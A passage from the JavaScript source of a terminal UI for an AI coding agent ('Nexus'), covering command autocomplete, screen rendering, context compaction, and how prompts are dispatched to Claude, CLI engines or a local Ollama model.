      if (scroll > 0) return clip("  " + yellow("↑ scrolled — " + scroll + " line" + (scroll > 1 ? "s" : "") + " below") + gray("  ·  ") + blue("PgUp/PgDn") + gray(" or wheel to scroll  ") + blue("End") + gray(" jump to latest"), C - 2);
      return clip("  " + blue("↵") + gray(" send  ") + blue("shift+tab") + gray(" mode  ") + blue("ctrl+o") + gray(" " + (expanded ? "collapse" : "expand")) + gray("  ") + blue("@") + gray("file ") + blue("!") + gray("sh ") + blue("#") + gray("note  ") + blue("/") + gray("cmds  ") + blue("/copy") + gray(" clipboard  ") + (mouseOn ? blue("shift+drag") + gray(" select") : green("select ON")), C - 2);
    };
    // matching slash commands for the popup menu (active when the input is a bare /command being typed)
    // Fuzzy command matching: prefer prefix hits, then subsequence (e.g. /cmt -> /commit,
    // /lgn -> /login), ranked by how tightly the typed letters cluster in the name.
    const fuzzyCmds = (q) => {
      q = q.toLowerCase(); const cmds = allCmds();
      const pre = cmds.filter((c) => c[0].startsWith(q));
      if (pre.length) return pre;
      const needle = q.replace(/^\//, ""); if (!needle) return [];
      const scored = [];
      for (const c of cmds) {
        const name = c[0].slice(1); let i = 0, first = -1, last = -1;
        for (let k = 0; k < name.length && i < needle.length; k++) if (name[k] === needle[i]) { if (first < 0) first = k; last = k; i++; }
        if (i === needle.length) scored.push([(last - first) + first * 0.5, c]); // tighter + earlier = better
      }
      return scored.sort((a, b) => a[0] - b[0]).map((s) => s[1]);
    };
    const slashMatches = () => { if (busy || input[0] !== "/" || /\s/.test(input)) return []; return fuzzyCmds(input); };
    // ---- argument autocomplete: dropdown completions for command arguments ----
    let argCache = []; // cached Ollama model list (refreshed on /model focus)
    let argCacheTs = 0; // when argCache was last fetched
    const ARG_COMPLETIONS = {
      "/model": () => { const eng = ENGINES[engine] || {}; const cloud = (eng.models || []).map((m) => [m, eng.label]); const local = argCache.map((m) => [m, "local"]); return [...local, ...cloud]; },
      "/engine": () => ENGINE_ORDER.map((e) => [e, ENGINES[e].label + (ENGINES[e].paid ? "" : " · free") + (engineAvail(e) ? "" : " (not installed)")]),
      "/theme": () => Object.keys(THEMES).map((t) => [t, THEMES[t].grad.map((g) => "\x1b[" + g + "m█\x1b[0m").join("")]),
      "/color": () => Object.keys(COLORS).map((n) => [n, "\x1b[" + COLORS[n] + "m█████\x1b[0m"]),
      "/gradient": () => Object.keys(THEMES).map((t) => [t, THEMES[t].grad.map((g) => "\x1b[" + g + "m█\x1b[0m").join("")]),
      "/style": () => [["default", ""], ["concise", "minimal"], ["explanatory", "detailed"], ["review", "code review"], ["tdd", "test-driven"], ["secure", "security-focused"], ["teacher", "educational"]],
      "/effort": () => [["low", "fast, less thinking"], ["medium", "balanced"], ["high", "deep reasoning"]],
      "/guard": () => [["enforce", "block destructive commands"], ["warn", "warn but allow"], ["off", "no safety checks"]],
      "/marketplace": () => [["list", "installed packages"], ["install", "install from path/URL"], ["remove", "uninstall a package"], ["init", "scaffold a publishable package"]],
      "/cron": () => [["list", "show scheduled jobs"], ["add", "schedule a new job"], ["remove", "delete a job"], ["enable", "enable a job"], ["disable", "pause a job"], ["run", "run a job now"]],
      "/mcp": () => [["catalog", "browse available servers"], ["add", "connect a server"], ["remove", "disconnect a server"], ["connect", "reconnect all"]],
      "/hack": () => [],
    };
    const argMatches = () => {
      if (busy || input[0] !== "/" || !/\s/.test(input)) return [];
      const sp = input.indexOf(" ");
      const cmd = input.slice(0, sp).toLowerCase();
      const partial = input.slice(sp + 1).toLowerCase();
      const gen = ARG_COMPLETIONS[cmd];
      if (!gen) return [];
      const items = gen();
      if (!partial) return items;
      return items.filter((it) => it[0].toLowerCase().startsWith(partial) || it[0].toLowerCase().includes(partial));
    };
    const refreshArgCache = () => { if (Date.now() - argCacheTs > 10000) { argCacheTs = Date.now(); ollamaTags().then((ms) => { argCache = ms || []; }).catch(() => {}); } };
    // ---- input syntax highlighting ----
    const cmdSet = new Set(allCmds().map((c) => c[0]));
    const colorInput = (text) => {
      if (!text || !useColor) return text;
      const clean = text.replace("█", "");
      if (clean[0] === "/" && !(/\s/.test(clean))) {
        const cmds = allCmds();
        const prefix = cmds.some((c) => c[0].startsWith(clean));
        return prefix ? cyan(text) : red(text);
      }
      if (clean[0] === "/") {
        const sp = clean.indexOf(" ");
        const cmd = clean.slice(0, sp);
        const valid = cmdSet.has(cmd) || fuzzyCmds(cmd).some((m) => m[0] === cmd);
        const tsp = text.indexOf(" ");
        return (valid ? cyan(text.slice(0, tsp)) : red(text.slice(0, tsp))) + text.slice(tsp);
      }
      if (clean[0] === "!") return yellow(text);
      if (clean[0] === "#") return green(text);
      return text.replace(/(^|\s)(@\S+)/g, (_, pre, at) => pre + blue(at));
    };
    let lastLines = null; // previous frame's rows, for line-level diffing
    let clickZones = []; // rebuilt each render: [{row,c0,c1,kind,cmd}] clickable hitboxes (1-indexed screen coords)
    let navOpen = false; // is the ⋯ status menu expanded?
    let perms = { allow: [], deny: [] }; try { const p = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "permissions.json"), "utf8")); perms = { allow: p.allow || [], deny: p.deny || [] }; } catch (_) {} // permission allowlist
    const savePerms = () => { try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "permissions.json"), JSON.stringify(perms, null, 2)); } catch (_) {} };
    let curBranch = "main"; // conversation branch (session branching)
    // Clickable status buttons (mouse) — one-tap access to cost/usage & more,
    // instead of only the passive metrics line. Each runs its slash command.
    const NAV_BUTTONS = [["Cost", "/status"], ["Savings", "/savings"], ["Impact", "/impact"], ["Models", "/models"], ["Settings", "/settings"], ["Help", "/help"]];
    let modelPick = []; // last catalog shown by /model, so /model <number> can pick from it
    const render = () => {
      const C = cols(), R = rows(), iw = Math.max(4, C - 3);
      if (curPos > input.length) curPos = input.length;
      if (curPos < 0) curPos = 0;
      const wrapped = []; const wrapOff = []; let _wi = 0;
      for (const seg of input.split("\n")) { let s = seg; if (!s.length) { wrapped.push(""); wrapOff.push(_wi); _wi++; continue; } while (s.length > iw) { let w = iw; const cc = s.charCodeAt(w - 1); if (cc >= 0xD800 && cc <= 0xDBFF) w = Math.max(1, w - 1); wrapped.push(s.slice(0, w)); wrapOff.push(_wi); _wi += w; s = s.slice(w); } wrapped.push(s); wrapOff.push(_wi); _wi += s.length + 1; }
      if (!wrapped.length) { wrapped.push(""); wrapOff.push(0); }
      let _cLine = wrapped.length - 1, _cCol = wrapped[_cLine].length;
      for (let i = 0; i < wrapped.length; i++) { const end = wrapOff[i] + wrapped[i].length; if (curPos >= wrapOff[i] && curPos <= end) { _cLine = i; _cCol = curPos - wrapOff[i]; break; } }
      const menu = slashMatches();
      const amenu = menu.length ? [] : argMatches();
      const combined = menu.length ? menu : amenu;
      if (menuSel > combined.length - 1) menuSel = Math.max(0, combined.length - 1);
      if (menuSel < 0) menuSel = 0;
      const fixedChrome = 5; // status + buttons + 2 rules + hint (always present)
      const avail = Math.max(0, R - fixedChrome);
      const menuRows = Math.min(combined.length, Math.max(0, avail - 2));
      const menuStart = combined.length > menuRows ? Math.max(0, Math.min(menuSel - (menuRows >> 1), combined.length - menuRows)) : 0;
      const inRows = Math.max(1, Math.min(wrapped.length, 8, Math.max(1, avail - menuRows - 1)));
      const chrome = fixedChrome + menuRows + inRows;
      const bodyRows = Math.max(0, R - chrome);
      const lines = bodyLines();
      const maxScroll = Math.max(0, lines.length - bodyRows);
      if (scroll > maxScroll) scroll = maxScroll;
      const start = Math.max(0, lines.length - bodyRows - scroll);
      const view = lines.slice(start, start + bodyRows);
      // Build the frame as an array of rows, then write ONLY the rows that changed
      // since last paint (frameDiff). During streaming just the status timer + the
      // one growing text line differ, so we write ~2 rows instead of the whole screen.
      const frame = [];
      for (let i = 0; i < bodyRows; i++) frame.push(" " + clip(view[i] || "", C - 2));
      frame.push(statusBar());
      // ⋯ status menu — a single click target that expands to one-tap actions
      // (cost/usage & more). Collapsed by default so it stays out of the way.
      // Record each hitbox's screen-column span against this row for the mouse
      // handler. An action click closes the menu and jumps to the live chat.
      {
        clickZones = [];
        const btnRow = frame.length + 1; // 1-indexed screen row this bar occupies
        const chip = (s2, col, label, extra) => { const txt = " " + label + " "; const width = txt.length + 2; s2.str += gray("[") + cyan(txt) + gray("]") + " "; clickZones.push(Object.assign({ row: btnRow, c0: col, c1: col + width - 1 }, extra)); return col + width + 1; };
        const box = { str: "  " };
        let col = 3;
        if (!navOpen) {
          col = chip(box, col, "...", { kind: "toggle" });
          frame.push(box.str + dim(gray("menu — cost, savings & more")));
        } else {
          col = chip(box, col, "x", { kind: "close" });
          for (const [label, cmd] of NAV_BUTTONS) {
            const width = (" " + label + " ").length + 2;
            if (col + width > C - 2) break; // don't run off the edge
            col = chip(box, col, label, { kind: "run", cmd });
          }
          frame.push(box.str);
        }
      }
      for (let i = 0; i < menuRows; i++) { const idx = menuStart + i; const [nm, ds] = combined[idx]; const sel = idx === menuSel; const pos = (sel && combined.length > menuRows) ? gray("  (" + (menuSel + 1) + "/" + combined.length + ")") : ""; frame.push(clip((sel ? cyan(" › ") : "   ") + (sel ? bold(cyan(nm)) : cyan(nm)) + gray("  " + (ds || "")) + pos, C - 2)); }
      frame.push(gray("─".repeat(C)));
      const _showStart = Math.max(0, wrapped.length - inRows);
      const shown = wrapped.slice(_showStart);
      for (let i = 0; i < inRows; i++) { let raw = shown[i] || ""; const li = _showStart + i; if (li === _cLine) raw = raw.slice(0, _cCol) + "█" + raw.slice(_cCol); frame.push(clip((i === 0 ? bold(mag("❯ ")) : "  ") + colorInput(raw), C)); }
      frame.push(gray("─".repeat(C)));
      frame.push(hint());
      const b = frameDiff(lastLines, frame, ESC);
      lastLines = frame;
      if (b) out.write(b);
    };
    // ---- animation loop: typewriter reveal + spinners + elapsed ----
    const revealing = () => { const b = cur(); if (!b || !b.items) return false; return b.items.some((it) => it.type === "text" && it.shown < it.full.length); };
    const startTick = () => { if (tick) return; tick = setInterval(() => { const b = cur(); if (b && b.items) for (const it of b.items) if (it.type === "text" && it.shown < it.full.length) { let ns = Math.min(it.full.length, it.shown + Math.max(2, Math.ceil((it.full.length - it.shown) / 22))); const cc = it.full.charCodeAt(ns - 1); if (cc >= 0xD800 && cc <= 0xDBFF && ns < it.full.length) ns++; it.shown = ns; } render(); if (!busy && !revealing() && !compact.on) { clearInterval(tick); tick = null; } }, 45); };
    // Flatten the kept transcript tail into a short plain-text summary, so a
    // claude turn that has just dropped --continue still knows what came before.
    // User lines and the model's own answers only — no tool spew, capped so the
    // seed itself cannot become the next thing that bloats the context.
    const buildCarryNote = (keep) => {
      const parts = [];
      for (const b of keep || []) {
        if (!b) continue;
        if (b.role === "user" && b.text) parts.push("User: " + b.text.trim());
        else if (b.role === "nexus" && Array.isArray(b.items)) {
          const txt = b.items.filter((i) => i.type === "text" && i.full)
                             .map((i) => i.full.trim()).join(" ").trim();
          if (txt) parts.push("Assistant: " + txt.slice(0, 1500));
        }
      }
      return parts.join("\n").slice(-6000);
    };
    // ---- context compaction (visual + local prune) ----
    const doCompact = (auto) => {
      if (compact.on) return;
      compact.on = true; compact.f = 0; startTick();
      compact.iv = setInterval(() => {
        compact.f += 1;
        if (compact.f >= 22) {
          clearInterval(compact.iv); compact.iv = null;
          const keep = transcript.slice(-6);
          transcript.length = 0;
          transcript.push({ role: "system", text: "[earlier conversation compacted to save context" + (auto ? " — auto at " + Math.round((sess.ctxUsed / (sess.ctxWindow || 1)) * 100) + "%" : "") + "]" });
          for (const k of keep) transcript.push(k);
          // actually shrink the local engine's context: keep the system message + the last few exchanges, and drop the token estimate
          if (oMsgs.length > (lean ? 5 : 7)) { const sys = oMsgs[0]; const tail = oMsgs.slice(lean ? -4 : -6); oMsgs.length = 0; oMsgs.push(sys, ...tail); }
          // Claude keeps its context server-side, so pruning the local arrays
          // above does nothing to it. Drop --continue and hand the next turn a
          // text summary of the kept tail instead — that is what makes a
          // compaction real for claude rather than cosmetic.
          if (PAID[engine]) { cont = false; carryNote = buildCarryNote(keep); }
          sess.ctxUsed = Math.floor(sess.ctxUsed * 0.25); warned50 = false;
          compact.on = false; render();
        } else render();
      }, 60);
    };
    // Cap the carried context before a rate limit does it for you. For claude
    // the cost that empties a 5-hour bucket is the ABSOLUTE tokens re-read every
    // turn, not a fraction of a (possibly 1M) window — a 600K context on a 1M
    // window is only 60% but is still 600K re-read on every single turn. So
    // claude compacts at a fixed absolute line (the same 200K tokendog flags as
    // a large context), while the local engine keeps its fraction-of-window
    // rule. Was: claude excluded entirely, on the wrong assumption that a
    // headless `-p --continue` run self-compacts. It does not.
    const CLAUDE_COMPACT_AT = Number(process.env.DARKNODE_COMPACT_AT || 40000); // auto-compact at 40K tokens (was 200K — way too late)
    const maybeAutoCompact = () => {
      if (compact.on) return;
      if (PAID[engine]) { if (sess.ctxUsed > CLAUDE_COMPACT_AT) doCompact(true); }
      else if (sess.ctxUsed > 0.6 * (sess.ctxWindow || 200000)) doCompact(true); // compact at 60% for local engines
    };
    const onResize = () => { lastLines = null; if (!loading) render(); }; // geometry changed — force a full repaint
    let cleaned = false;
    const cleanup = () => { if (cleaned) return; cleaned = true; tuiActive = false; if (tick) { clearInterval(tick); tick = null; } if (compact.iv) { clearInterval(compact.iv); compact.iv = null; } if (ctl && ctl.kill) try { ctl.kill(); } catch (_) {} try { bgJobs.killAll(); } catch (_) {} try { if (dashServer) dashServer.close(); } catch (_) {} for (const s of mcpServers) { try { s.cp && s.cp.kill(); } catch (_) {} } try { process.stdin.setRawMode(false); } catch (_) {} process.stdin.pause(); process.stdin.removeAllListeners("data"); out.removeListener("resize", onResize); process.removeListener("exit", cleanup); process.removeListener("SIGINT", onSigint); process.removeListener("SIGTERM", onSigterm); process.removeListener("uncaughtException", onFatal); process.removeListener("unhandledRejection", onRejection); try { out.write(ESC + "[?2004l" + ESC + "[?1000l" + ESC + "[?1006l" + ESC + "[?25h" + ESC + "[?1049l"); } catch (_) {} };
    tuiActive = true;
    const onFatal = (e) => { const sig = e === "SIGINT" || e === "SIGTERM"; try { cleanup(); } catch (_) {} if (e && e instanceof Error) { try { process.stderr.write("\nNexus exited on error: " + e.message + "\n"); } catch (_) {} } try { resolve(); } catch (_) {} if (sig) process.exit(0); };
    const onSigint = () => onFatal("SIGINT"), onSigterm = () => onFatal("SIGTERM");
    // a rejected turn promise must never leave the UI wedged with busy=true
    const onRejection = (e) => { if (busy || (ctl)) { busy = false; ctl = null; try { transcript.push({ role: "system", text: "recovered from an internal error: " + (e && e.message || e) }); } catch (_) {} try { render(); } catch (_) {} } };
    process.on("exit", cleanup); process.on("SIGINT", onSigint); process.on("SIGTERM", onSigterm); process.on("uncaughtException", onFatal); process.on("unhandledRejection", onRejection);
    // ---- engine turn ----
    const submit = (text) => {
      // Only enforce budget cap on API-billed engines, not Claude Max subscription
      const isSubEngine = onPlan(engine);
      if (costCap && sess.cost >= costCap && !isSubEngine) { transcript.push({ role: "system", text: "budget reached ($" + sess.cost.toFixed(4) + " ≥ cap $" + costCap.toFixed(2) + ") — raise it with /budget <amount> to continue" }); render(); return; }
      if (hooks) { const hr = runHooks(hooks, "UserPromptSubmit", { NEXUS_ENGINE: engine, NEXUS_PROMPT: text }, cwd); if (hr.block) { transcript.push({ role: "user", text }); transcript.push({ role: "system", text: "blocked by UserPromptSubmit hook" + (hr.out ? ": " + hr.out : "") }); render(); return; } }
      history.push(text); hIdx = history.length; scroll = 0;
      transcript.push({ role: "user", text });
      // Vision: pull image @mentions out as real attachments (base64) BEFORE @file
      // text-inlining would read them as garbage. Local/API engines get them natively;
      // claude/cli engines get a file-path reference they can Read.
      const imgAttach = [];
      const preText = text.replace(/(^|\s)@(\S+\.(?:png|jpe?g|gif|webp|bmp))\b/gi, (mm, pre, p) => {
        try { const fp = path.resolve(cwd, p); if (fs.statSync(fp).size > 6 * 1024 * 1024) return mm; const ext = p.split(".").pop().toLowerCase(); imgAttach.push({ b64: fs.readFileSync(fp).toString("base64"), mime: "image/" + (ext === "jpg" ? "jpeg" : ext), name: p }); return pre + "[attached image: " + p + "]"; } catch (_) { return mm; }
      });
      if (imgAttach.length) transcript.push({ role: "system", text: "attached " + imgAttach.length + " image" + (imgAttach.length > 1 ? "s" : "") + (engine === "ollama" ? (apiConfigured() ? " → sent to the API model (needs a vision model)" : " → sent to the local model (needs a vision model, e.g. llama3.2-vision)") : " → the " + engine + " engine reads it from the path") });
      let sendText = inlineAts(preText);
      if (pinned.size) { let pre = ""; for (const f of pinned) { try { pre += "\n\n--- pinned: " + f + " ---\n" + fs.readFileSync(path.resolve(cwd, f), "utf8").slice(0, 4000) + "\n--- end " + f + " ---"; } catch (_) {} } if (pre) sendText = pre + "\n\n" + sendText; }
      if (index && engine === "ollama") { const rel = retrieve(text, 3); if (rel.length) { let pre = ""; for (const f of rel) { try { pre += "\n\n--- context: " + f + " ---\n" + fs.readFileSync(path.resolve(cwd, f), "utf8").slice(0, 6000) + "\n--- end " + f + " ---"; } catch (_) {} } if (pre) { sendText = pre + "\n\n" + sendText; transcript.push({ role: "system", text: "auto-context: pulled " + rel.join(", ") + " from the index" }); } } }
      // Orient the agent once per session with a ranked repo map (every engine, not just local).
      // Skipped for trivial greetings and when repo-map is toggled off (/map off).
      if (!repoMapSent && repoMapOn && text.trim().length > 8 && !/^\s*(hi|hey|hello|yo|thanks|thank you|ok|okay|sup|help)\b/i.test(text)) {
        const rm = getRepoMap(); repoMapSent = true;
        if (rm && rm.map && rm.map.fileCount) { sendText = "[Codebase orientation — a ranked map of this repository. Use it to navigate; read files before editing.]\n" + rm.text + "\n\n" + sendText; transcript.push({ role: "system", text: "repo map: oriented with " + rm.map.fileCount + " files, " + rm.map.symbolCount + " symbols" }); }
      }
      if (redact && (PAID[engine] || apiConfigured())) { const masked = maskSecrets(sendText); if (masked !== sendText) { const n = (masked.match(/\[redacted:/g) || []).length; transcript.push({ role: "system", text: "redacted " + n + " secret(s) before sending to " + (apiConfigured() ? "the remote API" : engine) + " (privacy mode on)" }); sendText = masked; } }
      if (lean) sendText = "[Be concise: minimal output, no preamble/recap/explanation unless asked, short code only.] " + sendText; // cut expensive output tokens
      { const sq = squeezeContext(sendText); if (sq.saved >= 40) impact.squeezeTok += sq.saved; sendText = sq.text; } // dedupe inlined files + collapse whitespace → fewer INPUT tokens every turn
      let promptText = mode === 2 ? "Think step by step and produce a concise PLAN of what you would do. Do NOT modify any files yet.\n\n" + sendText : sendText;
      // First turn after a claude compaction: --continue is off (cont=false), so
      // the server context is gone. Seed this one prompt with the summary of what
      // came before, then clear it — later turns resume normally via --continue.
      if (carryNote && engine === "claude" && !cont) {
        promptText = "[Earlier conversation was compacted to save context. Summary of what happened so far:]\n"
          + carryNote + "\n\n[Now continue. The user's next message:]\n" + promptText;
        carryNote = "";
      }
      promptText = nexusAugment(text, promptText);
      // Response cache: an EXACT repeat of a READ-ONLY answer is served FREE. The key
      // includes the inlined context, so a changed file yields a new key and re-runs
      // (never a stale answer). /cache off to disable, /cache clear to wipe.
      const ckey = cacheOn ? cacheKey(engine, sess.model || engine, promptText) : null;
      if (ckey) { const hit = cacheGet(cwd, ckey, CACHE_TTL); if (hit && hit.readonly && hit.text) {
        const blk = { role: "nexus", items: [{ type: "text", full: hit.text, shown: hit.text.length }] };
        blk.summary = green("⚡ cache hit — free") + gray("  ·  saved " + ((PAID[engine] && hit.cost) ? "$" + hit.cost.toFixed(4) + " · " : "") + "↑" + fmtK(hit.inTok || 0) + " ↓" + fmtK(hit.outTok || 0) + " tok  ·  /cache off to disable");
        transcript.push(blk); impact.cachedHits++; impact.cachedSaved += (hit.cost || 0); hit.hits = (hit.hits || 0) + 1; try { cachePut(cwd, ckey, hit); } catch (_) {}
        cont = true; render(); try { saveSession(); } catch (_) {} return;
      } }
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const stat = { files: new Set(), paths: new Set(), cmds: 0, inTok0: sess.inTok, outTok0: sess.outTok, cost0: sess.cost, t0: Date.now() };
      const relOf = (p) => { try { return path.relative(cwd, path.resolve(cwd, p)); } catch (_) { return null; } };
      const ckTree = nexusCheckpoint(cwd); // every engine can now modify files, so always checkpoint (null if not a git repo)
      let ckObj = null; if (ckTree) { ckObj = { tree: ckTree, label: oneline(text, 40), ts: Date.now() }; checkpoints.push(ckObj); }
      busy = true; busyStart = Date.now(); busyWord = FORGE[Math.floor(Math.random() * FORGE.length)]; sess.liveOut = 0;
      ctl = makeCtl(); // local engine checks .stopped; claude overrides .kill with a process kill
      startTick(); render();
      const finish = (res) => {
        for (const it of block.items) if (it.type === "tool" && it.status === "run") { it.status = res && res.interrupted ? "err" : "ok"; it.end = Date.now(); }
        runningShells = 0; activeAgents = 0; ctl = null;
        if (!block.items.length || !block.items.some((i) => i.type === "text" && i.full.trim())) { const t = ensureText(); if (!t.full.trim()) t.full = res && res.interrupted ? "(interrupted)" : (res && res.output) || "(no output)"; }
        const dt = ((Date.now() - stat.t0) / 1000).toFixed(1);
        const din = sess.inTok - stat.inTok0, dout = sess.outTok - stat.outTok0, dcost = sess.cost - stat.cost0;
        if (PAID[engine]) { impact.cloudTurns++; impact.cloudInTok += Math.max(0, din); impact.cloudOutTok += Math.max(0, dout); impact.cloudCost += Math.max(0, dcost); } else { impact.localTurns++; impact.localTok += Math.max(0, din + dout); }
        // Chargeback ledger: one non-sensitive metrics line per turn (no prompt text, no paths).
        try { appendUsage(cwd, { ts: new Date().toISOString(), operator: ident.operator, team: ident.team, engine, model: sess.model || engine, mode: ["normal", "auto", "plan"][mode] || "normal", inTok: Math.max(0, din), outTok: Math.max(0, dout), cost: Math.max(0, dcost), seconds: +dt, files: stat.files.size, commands: stat.cmds, interrupted: !!(res && res.interrupted) }); } catch (_) {}
        const bits = [];
        const recap = [];
        if (stat.files.size) { bits.push(stat.files.size + " file" + (stat.files.size > 1 ? "s" : "")); recap.push((res && res.interrupted ? "Touched" : "Wrote") + " " + [...stat.files].slice(0, 4).join(", ") + (stat.files.size > 4 ? " +" + (stat.files.size - 4) + " more" : "")); }
        if (stat.cmds) { bits.push(stat.cmds + " cmd" + (stat.cmds > 1 ? "s" : "")); recap.push("Ran " + stat.cmds + " command" + (stat.cmds > 1 ? "s" : "")); }
        bits.push("↑" + fmtK(din) + " ↓" + fmtK(dout) + " tok");
        if (PAID[engine] && dcost > 0) bits.push("$" + dcost.toFixed(4));
        bits.push(dt + "s");
        if (ckObj) { ckObj.paths = [...stat.paths].filter(Boolean); bits.push("undo #" + checkpoints.length); }
        const clock = new Date().toLocaleTimeString([], { hour: "numeric", minute: "2-digit" }).toLowerCase();
        block.summary = (recap.length ? recap.join(". ") + "." + gray("  ") : "") + bits.join("  ·  ") + gray("  ·  done " + clock);
        // Cache read-only answers (no file/command side-effects) so an exact repeat is free.
        if (ckey && !(res && res.interrupted) && stat.files.size === 0 && stat.cmds === 0) { try { const ft = block.items.filter((i) => i.type === "text").map((i) => i.full).join("\n").trim(); if (ft && ft !== "(no output)") cachePut(cwd, ckey, { text: ft, inTok: Math.max(0, din), outTok: Math.max(0, dout), cost: Math.max(0, dcost), readonly: true, hits: 0, ts: Date.now() }); } catch (_) {} }
        if (!(res && res.interrupted)) { try { const answerText = block.items.filter((i) => i.type === "text").map((i) => i.full).join("\n").slice(0, 2000); nexusLearn(text, answerText); } catch (_) {} }
        cont = true; busy = false; lastLines = null; if (costCap && sess.cost >= costCap) transcript.push({ role: "system", text: "budget cap reached ($" + sess.cost.toFixed(4) + ") — /budget <amount> to raise" });
        if (!warned50 && sess.ctxUsed > 0.5 * (sess.ctxWindow || 200000)) { warned50 = true; transcript.push({ role: "system", text: "context is over 50% — quality can dip on very long sessions; use /compact or /clear when it makes sense" }); }
        try { saveSession(); } catch (_) {}
        if (hooks) try { runHooks(hooks, "Stop", { NEXUS_ENGINE: engine }, cwd); } catch (_) {}
        if (notify && (Date.now() - stat.t0) > 15000) { out.write("\x07"); try { _cp.spawn("notify-send", ["Nexus", "turn finished (" + ((Date.now() - stat.t0) / 1000 | 0) + "s)"], { stdio: "ignore" }).on("error", () => {}); } catch (_) {} }
        maybeAutoCompact(); render(); refreshGit();
        if (nextQueue.length && !busy) { const nxt = nextQueue.shift(); setTimeout(() => { if (!busy) { if (nxt.startsWith("/")) { let cmd = nxt; if (!/\s/.test(nxt)) { const mm = fuzzyCmds(nxt); if (mm.length) cmd = mm[0][0]; } handleSlash(cmd); render(); } else if (nxt[0] === "!" && nxt.length > 1) { runBang(nxt.slice(1).trim()); render(); } else if (nxt[0] === "#" && nxt.length > 1) { addMemory(nxt.slice(1).trim()); render(); } else { submit(nxt); } } }, 300); }
      };
      if (engine === "claude") {
        runClaudeStream(promptText, cwd, cont, {
          onInit: (ev) => { if (ev.model) sess.model = ev.model; },
          onRateLimit: (info) => { rate = info; },
          onThinking: (t) => { const bl = cur(); if (!bl.items) bl.items = []; let last = bl.items[bl.items.length - 1]; if (!last || last.type !== "thinking") { last = { type: "thinking", full: "" }; bl.items.push(last); } last.full += t; render(); },
          onText: (t) => { ensureText().full += t; render(); },
          onTool: (tu) => {
            block.items.push({ type: "tool", id: tu.id, name: tu.name, label: toolLabel(tu.name, tu.input), detail: JSON.stringify(tu.input).slice(0, 400), status: "run", start: Date.now() });
            if (tu.name === "Bash") { runningShells++; stat.cmds++; }
            if (tu.name === "Task") activeAgents++;
            if (["Write", "Edit", "MultiEdit", "NotebookEdit"].includes(tu.name) && (tu.input.file_path || tu.input.notebook_path)) { const fp = tu.input.file_path || tu.input.notebook_path; stat.files.add(base(fp)); const r = relOf(fp); if (r) stat.paths.add(r); }
            render();
          },
          onToolResult: (tr) => {
            const it = block.items.find((x) => x.type === "tool" && x.id === tr.id);
            if (it) { it.status = tr.isError ? "err" : "ok"; it.end = Date.now(); it.detail = oneline(resultText(tr.content), 260); if (it.name === "Bash" && runningShells) runningShells--; if (it.name === "Task" && activeAgents) activeAgents--; }
            render();
          },
          onUsage: (u) => { sess.liveOut = u.output_tokens || sess.liveOut; },
          onResult: (ev) => {
            const u = ev.usage || {};
            const newIn = (u.input_tokens || 0) + (u.cache_creation_input_tokens || 0);
            const cacheIn = u.cache_read_input_tokens || 0;
            sess.inTok += newIn;
            sess.outTok += u.output_tokens || 0;
            sess.ctxUsed = newIn + cacheIn + (u.output_tokens || 0);
            if (typeof ev.total_cost_usd === "number") sess.cost += ev.total_cost_usd;
            const mu = ev.modelUsage && ev.modelUsage[sess.model]; if (mu && mu.contextWindow) sess.ctxWindow = mu.contextWindow;
          },
        }, ctl, { model: cowork.on ? cowork.strong : ((sess.userModel && sess.model && sess.model !== engine) ? sess.model : undefined), small: cowork.on && cowork.weakKind === "claude" ? cowork.weak : undefined, effort: effort || undefined, appendSystemPrompt: ((nexusMd ? "Project (.nexus/NEXUS.md):\n" + nexusMd.slice(0, 1000) : "") + "\nMinimize tool calls: chain shell commands, read only needed lines, never re-read after write. 2-5 calls for simple tasks." + (lean ? "\nTerse output, no preamble." : "") + (styleDir(style) ? "\n" + styleDir(style) : "") + (hack ? "\n" + HACK_DIR : "") + policyPrompt()) || undefined, fallbackModel: fallback || undefined, maxBudgetUsd: costCap ? Math.max(0.01, costCap - sess.cost).toFixed(2) : undefined, disallow: mode === 2 ? READONLY_TOOLS : undefined }).then(finish);
      } else if (ENGINES[engine] && ENGINES[engine].kind === "cli") { // gemini / codex / opencode / aider
        const eng = ENGINES[engine];
        const mdl = sess.model && sess.model !== engine ? sess.model : undefined; // only pass a model the user actually chose
        const jsonProto = eng.proto === "gemini-json" || eng.proto === "codex-json";
        // JSON-mode engines emit machine output (not human text), so don't render the
        // raw chunks — just track progress; text engines stream their stdout live.
        const onChunk = jsonProto
          ? ((chunk) => { sess.liveOut += Math.ceil(chunk.length / 4); render(); })
          : ((chunk) => { ensureText().full += chunk; sess.liveOut += Math.ceil(chunk.length / 4); render(); });
        runEngineTask(engine, promptText, cwd, true, cont, onChunk, ctl, mdl).then((res) => {
          const raw = res.output || "";
          let display = raw, inD, outD;
          if (jsonProto) {
            const parsed = eng.proto === "gemini-json" ? geminiParse(raw) : codexParse(raw);
            if (parsed) {
              display = parsed.text || (parsed.error ? engine + " error: " + parsed.error : raw);
              if (parsed.inTok || parsed.outTok) { inD = parsed.inTok || Math.ceil(promptText.length / 4); outD = parsed.outTok || Math.ceil(display.length / 4); } // REAL usage
              if (parsed.model && (!sess.model || sess.model === engine)) sess.model = parsed.model;
            }
            ensureText().full = display; // show the parsed assistant text (or raw output if the parse failed)
          }
          if (inD == null) { inD = Math.ceil(promptText.length / 4); outD = Math.ceil(display.length / 4); } // estimate fallback
          sess.inTok += inD; sess.outTok += outD; sess.ctxUsed = sess.inTok + sess.outTok;
          if (PAID[engine] && !onPlan(engine)) { const pm = mdl || eng.model || ""; const pr = priceOf(pm); sess.cost += (inD * pr.in + outD * pr.out) / 1e6; } // priced from the table → shown as ~$ (a plan login costs nothing per turn)
          finish(res);
        });
      } else { // ollama — LOCAL agent with full device access (read/write/edit/list/run_command)
        const mcps = mcpToolList();
        const extra = (mcps.length ? " MCP tools: " + mcps.map((m) => m.full + " — " + oneline(m.desc, 40)).join("; ") + "." : "") + " spawn_agents{tasks:[\"...\",\"...\"]} runs several INDEPENDENT sub-tasks in parallel via sub-agents and returns all their results — use it to split big work.";
